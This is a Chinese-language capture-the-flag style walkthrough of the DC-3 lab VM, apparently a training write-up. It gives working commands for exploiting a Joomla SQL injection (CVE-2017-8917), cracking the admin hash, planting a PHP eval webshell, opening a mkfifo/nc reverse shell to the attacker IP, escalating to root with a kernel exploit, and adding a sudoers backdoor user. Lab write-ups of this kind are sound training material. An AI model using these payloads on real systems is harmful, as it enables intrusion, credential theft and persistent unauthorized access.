DC-3打靶机步骤
字数 1139 2025-08-12 12:08:18

DC-3靶机渗透测试详细教学文档

环境准备

  • 虚拟环境:VMware
  • 系统配置
    • Kali Linux (攻击机):10.9.28.45
    • DC-3 (靶机):10.9.28.196
    • Win7 SP1 (辅助机):10.9.28.131
  • 目标说明:该靶机只有一个flag需要获取

信息收集阶段

1. 目标识别

通过MAC地址确认目标机器为DC-3 (10.9.28.196)

2. 端口扫描

使用Nmap扫描目标:

nmap -sV 10.9.28.196

发现只开放了80端口

3. Web应用识别

访问目标网页(http://10.9.28.196),使用Wappalyzer识别:

  • CMS:Joomla
  • 操作系统:Ubuntu
  • 后端语言:PHP

4. 目录扫描

使用dirsearch扫描网站目录:

python3 dirsearch.py -u http://10.9.28.196 -e *

漏洞挖掘阶段

1. SQL注入漏洞发现

使用xray进行漏洞扫描:

  1. 开启浏览器代理指向xray
  2. 启动xray:
./xray webscan --listen 127.0.0.1:8080 --html-output dc3.html
  1. 访问网站并尝试任意账号密码登录

xray检测到SQL注入漏洞(CVE-2017-8917)

2. 漏洞验证

使用POC验证漏洞:

http://10.9.28.196/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)

漏洞利用阶段

1. 使用SQLmap进行数据库枚举

  1. 获取数据库列表:
sqlmap -u "http://10.9.28.196/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p "list[fullordering]" --dbs

(一路回车使用默认选项)

  1. 获取当前数据库:
sqlmap -u "http://10.9.28.196/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p "list[fullordering]" --current-db

结果为:joomladb

  1. 获取表名:
sqlmap -u "http://10.9.28.196/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p "list[fullordering]" -D joomladb --tables

发现75张表,重点关注#__users

  1. 获取列名:
sqlmap -u "http://10.9.28.196/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p "list[fullordering]" -D joomladb -T "#__users" --columns
  1. 获取用户数据:
sqlmap -u "http://10.9.28.196/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p "list[fullordering]" -D joomladb -T "#__users" -C "username,password" --dump

获取到管理员账号(admin)和密码哈希

2. 密码破解

  1. 将哈希保存到文件
  2. 使用hashcat破解:
hashcat -m 400 hash.txt rockyou.txt

破解结果为:snoopy

3. 后台登录

使用admin/snoopy登录网站后台

获取Webshell

1. 后台编辑模板

  1. 访问/administrator目录
  2. 选择"Templates"菜单
  3. 选择任意模板(如error.php)编辑
  4. 插入一句话木马:
<?php @eval($_POST['cmd']); ?>

2. 连接Webshell

使用蚁剑连接:

  • URL:http://10.9.28.196/templates/xxx/error.php
  • 密码:cmd

权限提升

1. 获取反向Shell

  1. Kali上监听:
nc -lvnp 1234
  1. 在蚁剑虚拟终端执行(目标无nc -e选项时):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.28.45 1234 >/tmp/f

2. 提权操作

  1. 查看系统版本:
uname -a
  1. 搜索漏洞:
searchsploit Ubuntu 16.04

发现double-fdput漏洞

  1. 上传exp到目标/tmp目录

  2. 在目标机器上:

cd /tmp
gcc exp.c -o exp
chmod +x exp
./exp

直接获取root权限

3. 获取flag

在root目录下查找flag文件

权限维持

  1. 添加用户:
useradd -m -s /bin/bash backdoor
passwd backdoor
  1. 添加到sudoers:
echo "backdoor ALL=(ALL:ALL) ALL" >> /etc/sudoers

关键点总结

  1. 通过Joomla的SQL注入漏洞获取管理员凭证
  2. 利用后台模板编辑功能植入Webshell
  3. 通过系统漏洞实现权限提升
  4. 最终获取root权限找到flag

防御建议

  1. 及时更新CMS系统和插件
  2. 限制后台模板编辑权限
  3. 定期更新操作系统补丁
  4. 使用强密码策略
  5. 监控系统日志和异常行为
DC-3靶机渗透测试详细教学文档 环境准备 虚拟环境 :VMware 系统配置 : Kali Linux (攻击机):10.9.28.45 DC-3 (靶机):10.9.28.196 Win7 SP1 (辅助机):10.9.28.131 目标说明 :该靶机只有一个flag需要获取 信息收集阶段 1. 目标识别 通过MAC地址确认目标机器为DC-3 (10.9.28.196) 2. 端口扫描 使用Nmap扫描目标: 发现只开放了80端口 3. Web应用识别 访问目标网页(http://10.9.28.196),使用Wappalyzer识别: CMS:Joomla 操作系统:Ubuntu 后端语言:PHP 4. 目录扫描 使用dirsearch扫描网站目录: 漏洞挖掘阶段 1. SQL注入漏洞发现 使用xray进行漏洞扫描: 开启浏览器代理指向xray 启动xray: 访问网站并尝试任意账号密码登录 xray检测到SQL注入漏洞(CVE-2017-8917) 2. 漏洞验证 使用POC验证漏洞: 漏洞利用阶段 1. 使用SQLmap进行数据库枚举 获取数据库列表: (一路回车使用默认选项) 获取当前数据库: 结果为:joomladb 获取表名: 发现75张表,重点关注 #__users 表 获取列名: 获取用户数据: 获取到管理员账号(admin)和密码哈希 2. 密码破解 将哈希保存到文件 使用hashcat破解: 破解结果为:snoopy 3. 后台登录 使用admin/snoopy登录网站后台 获取Webshell 1. 后台编辑模板 访问 /administrator 目录 选择"Templates"菜单 选择任意模板(如error.php)编辑 插入一句话木马: 2. 连接Webshell 使用蚁剑连接: URL:http://10.9.28.196/templates/xxx/error.php 密码:cmd 权限提升 1. 获取反向Shell Kali上监听: 在蚁剑虚拟终端执行(目标无nc -e选项时): 2. 提权操作 查看系统版本: 搜索漏洞: 发现double-fdput漏洞 上传exp到目标/tmp目录 在目标机器上: 直接获取root权限 3. 获取flag 在root目录下查找flag文件 权限维持 添加用户: 添加到sudoers: 关键点总结 通过Joomla的SQL注入漏洞获取管理员凭证 利用后台模板编辑功能植入Webshell 通过系统漏洞实现权限提升 最终获取root权限找到flag 防御建议 及时更新CMS系统和插件 限制后台模板编辑权限 定期更新操作系统补丁 使用强密码策略 监控系统日志和异常行为